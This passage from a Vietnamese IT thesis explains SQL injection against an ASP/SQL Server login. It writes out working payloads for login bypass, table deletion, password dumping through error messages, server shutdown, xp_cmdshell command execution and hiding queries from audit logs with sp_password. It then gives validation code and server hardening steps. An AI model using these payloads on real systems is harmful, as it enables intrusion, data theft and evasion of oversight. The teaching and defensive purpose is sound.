Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) o Xóa những kí tự “ > ”, “ < ” o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng. • Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định. Nhận xét: Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa đảo mà hacker đưa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mậttrong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từđó giành quyền quản trịứng dụng. -Trang 55-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Chương 6 CHÈN CÂU TRUY VẤN SQL Nội dung: I. Khái niệm SQL Injection II. Giới thiệu mô hình cơ sở dữ liệu. III. Các cách tấn công. IV. Cách phòng chống . -Trang 56-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) CHƯƠNG 6: CHÈN CÂU TRUY VẤN SQL (SQL INJECTION) DE I. KHÁI NIỆM SQL INJECTION SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL Server mà nó còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access hay IBM DB2. Khi hacker gửinhững dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến cơ sở dữ liệu. Và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ liệu và từ đó có thể điều khiển toàn bộ hệ thống ứng dụng. II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU Để trình bày tốt hơn nội dung kĩ thuật này, luận văn sử dụng bảng User để minh họa kĩ thuật tấn công. Bảng User: STT Tên trường Cài đặt vật Kiểu Kích Diễn giải lí trường thước 1 tkUsername Khóa chính Text 50 Mỗi người dùng có 1 account để đăng nhập. 2 tkPassword Text 50 Password để đăng nhập -Trang 57-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Quy ước: Ngôn ngữ lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu là SQL Server. III. CÁC CÁCH TẤN CÔNG III.1. Kĩ thuật tấn công SQL Injection Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form đăng nhập. Ví dụ 6.III.1-1: giả sử ứng dụng web có đoạn mã sau: SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’” flag= GetQueryResult (SQLQuery) if flag = “” then check=FALSE else check=TRUE end if Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false. Giá tri nhập vào là: Username: ’ OR ‘’=’ Password: ’ OR ‘’=’ -Trang 58-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’ Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn. Kết hợp với kí tự đặc biệt của SQL : • kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn • kí tự “ ” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng Ví dụ 6.III.1-2: Username: ’; drop table User Password: Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User AND Password= ‘” & tkPassword & “’” Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn. Ví dụ 6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống như sau: Username: admin’ Password: -Trang 59-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Câu lệnh SQL như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘admin’ AND Password= ‘” & tkPassword & “’” Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password. III.2. Tấn công dưa vào câu lệnh SELECT Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đóchỉnh sửa nội dung nhập cho phù hợp. Khái niệm Direct Injection: Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy đơn hay dấu ngoặc kép là trường hợp direct injection. Ví dụ III.2.1 Ví dụ 6.III.2-1: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName Khái niệm Quote Injection: Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu nháy đơn hay ngoặc kép là trường hợp Quote Injection. Ví dụ III.2.2 Ví dụ 6.III.2-2: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName & “’” -Trang 60-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’” Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu“(“thìtrong chuỗi chèn vào phải có “)”: Ví dụ 6.III.2-3: Giả sử: StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName & “’”) Thì cú pháp hợp lệ như sau: StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or ‘’=’’” Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông tin. Ví dụ 6.III.2-4: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’” -Trang 61-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) III.3. Tấn công dựa vào câu lệnh HAVING HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu hiệu để nhận thông tin bảng, trường và sẽ được bàn sâu hơn trong phần 4. III.4. Tấn công dựa vào câu lệnh kết hợp UNION Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT. Ví dụ 6.III.4-1: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User” Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User. Ghi chú: • Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng kiểu. Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường. -Trang 62-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVING, GROUP BY, UNION: Ví dụ 6.III.4-2: Nhắc lại câu truy vấn cần để đăng nhập: SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’” Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “having” , như ví dụ sau: Giá trị nhập vào: Username: ’having 1=1 Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'User.tkUsername' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại mộttrường tên là tkUsername. Sau đósử dụng GROUP BY: Ví dụ 6.III.4-3: Username: ‘group by User.tkUsername having 1=1 -Trang 63-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server] Column'User.tkPassword'is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Như vậy tkPassword là mộttrường của bảng User và được sử dụng trong câu truy vấn. Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn. Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng: Ví dụ 6.III.4-4: Username:’union select sum(tkUsername) from User Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau: [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”. -Trang 64-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User. Ví dụ 6.III.4-5: Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’) Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng mà không cầnmật khẩu để chứng thực. Ví dụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User: • Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau: create proc test as begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo end Thực thi câu lệnh bằng cách nhập vào form. Username:’;Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+' -Trang 65-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) '+tkUsername+'/'+tkPassword from User select @ret as ret into foo • Bước 2: Gọi Stored procedure đó Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm: Username:’;exec test • Bước 3: Dùng UNION để xem nội dung bảng foo Username:’;select ret,1 from foo union select 1,1 from foo Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu' to a column of data type int. Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên tkUsername và mật khẩu tkPassword. • Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết: Username: ‘; drop table foo Ví dụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User, còn một phương pháp tìm kiếm thông tin như sau: • Bước 1: Tìm tuần tự từng dòng trên bảng User Username:’union select 1,1 -Trang 66-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) hoặc : Username:’union select min(tkUsername),1 from User where tkUsername> ’a’ Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. Người đầu tiên trong bảng User là “admin”. • Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau: Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'nhimmap' to a column of data type int. • Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername trong bảng User. -Trang 67-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) • Bước 4: Để biết thêm về tkPasswork, có thể thực hiện như sau: Username:’;select tkPassword,1 from User where tkUsername= ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'passOfAdmin' to a column of data type int. Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES. Ví dụ 6.III.4-8: select TABLE_NAME from INFORMATION_SCHEMA.TABLES INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu. SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User' Câu lệnh trên đượcsử dụng để biết thông tin về cột trong bảng. Ngoài ra còn có thể dùng UNION để biếtcác biến môi trường của SQL Server. -Trang 68-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Ví dụ 6.III.4-9: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng cách sau: Username:’;select @@SERVERNAME union select 1 Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'KHOAI_NGU' to a column of data type int. III.5. Tấn công dưa vào lệnh INSERT Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng, guestbook v v Kĩ thuật “;”, “ “ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số). Ví dụ 6.III.5-1: SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” & strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)” -Trang 69-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) III.6. Tấn công dưa vào STORED PROCEDURE Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống. Ví dụ 6.III.6-1: Stored procedure sp_login gồm hai tham số là username và password. Nếu nhập: Username: nhimmap Password: ‘;shutdown Lệnh gọi stored procedure như sau: exec sp_login ‘nhimmap’,‘’;shutdown ’ Lệnh shutdown thực hiện dừng SQL Server ngay lập tức. III.7. Nâng cao III.7.1. Chuỗi kí tự không có dấu nháy đơn: Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy. Ví dụ 6.III.7.1-1: Function escape (input) Input=replace(input, “’”, “’’”) escape=input end function -Trang 70-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Rõ ràng là, nó ngăn chặn được tất cả những kiểu tấn công trên. Tuy nhiên nếu muốn tạo ra một chuỗi giá trị mà không dùng các dấu nháy, có thể dùng hàm “char()” như ví dụ sau: Ví dụ 6.III.7.1-2: INSERT into User VALUES(666, char(0x63) +char(0x68) +char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68) +char(0x72) +char(0x69) +char(0x73),0xffff) Ví dụ 6.III.7.1-3 trên tuy là một câu truy vấn không có dấu nháy đơn nào nhưng nó vẫn có thể insert chuỗi vào bảng, và tương đương với: INSERT into User VALUES( 666,’chris’,’chris’,255) Hacker cũng có thể chọn username , password là sốđểtránh dấu nháy như ví dụ sau: Ví dụ 6.III.7.1-4: INSERT into User VALUES( 667,123,123,0xffff) SQL server sẽ tự động chuyển từ số sang chuỗi. III.7.2. Tấn công 2 tầng Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn đoạn mã SQL . Ví dụ 6.III.7.2-1: Để đăng kí account trong ứng dụng, nhập username như sau: Username: admin'— Password: passofadmin -Trang 71-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau: INSERT into User VALUES(123, 'admin'' ', 'password',0xffff) (nhưng trong cơ sở dữ liệu sẽ lưu là “admin’ “) Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ trước khi nhập mật khẩu mới. Đoạn mã như sau: username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; rso.open( sql, cn ); if (rso.EOF) { Câu truy vấn thiết lập mật khẩu mới như sau: sql = "update users set password = '" + newpassword + "' where username= '" + rso("username") + "'" rso(“username”) chính là giá trị username có được câu truy vấn login và nó là admin’ Câu truy vấn lúc này như sau: -Trang 72-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) update users set password = 'password' where username = 'admin' ' Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình. Đây là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô nhập tên) cho phép những kí tự này. Ví dụ: O’Brien. Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn. Nếu điều này không thể thựchiện được , thì loại bỏ và thay thế như trên. Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm soát một cách chặt chẽ. Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi dụng. Ví dụ 6.III.7.2-2: Giả sử cả username và password đều bị giớihạn tối đa là 16 kí tự.Nhập: Username: aaaaaaaaaaaaaaa’ Password :‘; shutdown -Trang 73-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽ bị xoá mất. Câu lệnh SQL như sau: Select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown—‘ kết quả là username trong câu lệnh có giá trị là: aaaaaaaaaaaaaaa’ and password=’ III.7.3. Tránh sự kiểm soát: SQL server có một giao thức kiểm soát chặt chẽ bằng họ hàm sp_traceXXX, cho phép ghi nhân nhiều sự kiện xảy ra trong cơ sở dữ liệu. Đặc biệt là các sự kiện T-SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server. Nếu chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng bị ghi nhận và nhờ đó mà một người quản trị có thể kiểm soát những gì đang xảy ra và nhanh chóng tìm ra được giải pháp. Nhưng cũng có một cách để chống lại điều này, bằng cách thêm dòng “sp_password” vào câu lệnh T-SQL, vì khi gặp chuỗi này thì việc kiểm tra sẽ ghi nhậnnhư sau: ‘sp_password’ was found in the text of this event. The text has benn replaced with this comment for security reasons. ngay cả khi “sp_password” xuất hiện trong phần chú thích. Vì thế để dấu tất cả câu truy vấn tấn công, chỉ cần đơn giảnlà thêm sp_password vào sau ‘ ’ như sau: -Trang 74-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Username:admin’ sp_password III.7.4. Dùng Extended Stored Procedure III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống SQL Server Nếu cài SQL Server ở chế độ mặc định thì SQL Server chạy trên nền SYSTEM, tương đương mức truy cập ở Windows. Có thể dùng master xp_cmdshell để thi hành lệnh từ xa: ; exec master xp_cmdshell 'ping 10.10.1.2' Thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc. Dưới đây là một số extended stored procedure mà hacker thường hay sử dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn nhân: Xp_availablemedia hiển thị những ổ đĩa hiện hành trên máy Xp_dirtree hiển thị tất cả các thư mục kể cả thư mục con Xp_loginconfig Lấy thông tin về chế độ bảo mật trên server Xp_makecab cho phép người sử dụng tạo các tập tin lưu trữ trên Server (hay bất cứ tập tin nào mà server có thể truy x -Trang 75-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) n Xp_ntsec_enumdomain liệt kê những domain mà server có thể truy vấn. Xp_terminate_process chấm dứt một tiến trình với tham số PID của nó. III.7.4.2. Dùng Extended Stored Procedure tự tạo Extended stored procedure API là một chương trình có một nhiệm vụ đơn giản là tạo ra một DLL extended stored porcedure chứa đựng đoạn mã nguy hiểm. Để đưa tập tin DLL lên Server có thể dùng các câu lệnh, hoặc các kĩ thuật giao tiếp khác nhau được thực hiện tự động, như là HTTP download và FTP script. Một khi tập tin DLL đã tồn tại trên máy chủ, thì hacker có thể tạo một extended stored procedure bằng dòng lệnh sau : Ví dụ 6.III.7.4.2-1: sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’ Sau đó có thể thực thi nó như là thực thi extended stored procedure thông thường : exec xp_webserver Khi đã thực hiện xong, có thể xoá bằng lệnh sau: sp_dropextendedproc ‘xp_webserver’ -Trang 76-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) III.7.4.3. Nhập tập tin văn bản vào bảng Dùng lệnh ‘bulk insert’, nhập dữ liệu từ một tập tin văn bản vào trong một bảng tạm thời. Ví dụ 6.III.7.4.3-1:Ví dụ tạo một bảng đơn giản như sau: create table foo (line varchar(8000)) Sau đó chạy câu lệnh bulk insert để chép dữ liệu từ tập tin vào bảng Ví dụ 6.III.7.4.3-2: bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’ Nội dung trang process_login.asp có thể lấy về bằng cách dùng những kĩ thuật như trong Ví dụ 6.III.7.4-3. IV. CÁCH PHÒNG CHỐNG • Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi được sử dụng. • Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng. • Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v v -Trang 77-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) • Hãy loại bỏ các kí tự meta như “',",/,\,;“ và các kí tự extend như NULL, CR, LF, trong các string nhận được từ: o dữ liệu nhập do người dùng đệ trình o các tham số từ URL o các giá trị từ cookie • Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu truy vấnSQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. • Dùng thuật toán để mã hoá dữ liệu IV.1. Kiểm tra dữ liệu Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích. Những tóm tắt sau đây sẽ bàn về việc kiểm tra tính đúng đắn của dữ liệu, cùng với ví dụ mẫu để minh hoạ cho vấn đề này. Có ba giải pháp tiếp cận vấn đề này: 1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ. 2) Loại bỏ những dữ liệu bất hợp lệ. 3) Chỉ chấp nhận những dữ liệu hợp lệ Giải pháp 1: khó thực hiện Thứ nhất, người lập trình không cần thiết phải biết tất cả dữ liệu bất hợp lệ, bởi vì những dạng dữ liệu bất hợplệ rất đa dạng. -Trang 78-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Thứ hai, là vấn đề của trường hợp bị tấn công 2 tầng (second-oder SQL injection) trong việc lấy dữ liệu từ hệ thống ra. Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do : Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn công mới. Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài đặt. Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3. Một ví dụ cho sự cần thiết kết hợp 2-3 là dấu nối giữa họ và tên “Quentin Bassington-Bassington” phải cho phép dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi kí tự “ “ là một chuỗi kí tự đặc biệt trong SQL server. Ví dụ nếu có bộ lọc để : • Lọc bỏ những dữ liệu bất hợp lệ như ‘ ‘,’select’ và ‘union’ • Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau. uni’on se’lect @@version-‘- Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản Cách 1: Thay thế dấu nháy đơn: function escape( input ) input = replace(input, "'", "''") escape = input end function -Trang 79-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) Cách 2: Từ chối dữ liệu bất hợp lệ function validate_string( input ) known_bad = array( "select", "insert", "update", "delete", "drop"," ", "'" ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then validate_string = false exit function end if next end function Cách 3: Chỉ chấp nhận dữ liệu hợp lệ function validatepassword( input ) good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function -Trang 80-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) IV.2. Khoá chặt SQL Server (SQL Server Lockdown) Luận văn cũng giới thiệu một phương pháp bảo mật ở mức độ quản trị cơ sở dữ liệu. Đây là một danh sách các công việc cần làm để bảo vệ SQL server: • Xác định các phương pháp kết nối đến server: o Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng đang dùng là hoat động. • Kiểm tra tất cả các tài khoản có trong SQL Server o Chỉ tạo tài khoản có quyền thấp cho các ứng dụng o Loại bỏ những tài khoản không cần thiết o Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ, • Kiểm tra các đối tượng tồn tại o Nhiều extended stored procedure có thể được xoá bỏ một cách an toàn. Nếu điều này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn những tập tin .dll chứa mã của các extended stored procedure o Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs” o Xóa các stored procedure không dùng như: master xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask • Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào o Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở dữ liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất đến những đối tượng nó cần dùng. -Trang 81-
Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) • Kiểm tra lớp sửa chữa của server o Có một số cách tấn công như “buffer overflow”, “format string” thường chú ý đến lớp bảo vệ này. • Kiểm tra các phiên làm việc trên server • Thay đổi "Startup và chạy SQL Server" ở mức người dùng quyền hạn thấp trong SQL Server Security. Nhận xét: -Qua chương6này,càngthấy rằng việckiểm tra dữ liệu trước khi xử lý là cần thiết. - Ứng dụng ngoài việckiểm tra tính đúng đắn của dữ liệu, cần mã hóa dữ liệu ngay bên trong cơ sở dữ liệu và không cho xuất trang Web lỗi, báo nội dung lỗi cú pháp SQL để hacker không thể thu thập thông tin cơ sở dữ liệu. - Song song đó là công việc của người quản trị mạng. -Trang 82-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc Chương 7 CHIẾM HỮUPHIÊN LÀM VIỆC Nội dung: I. Tổng quan về SessionID II. Ấn định phiên làm việc III. Đánh cắp phiên làm việc -Trang 83-
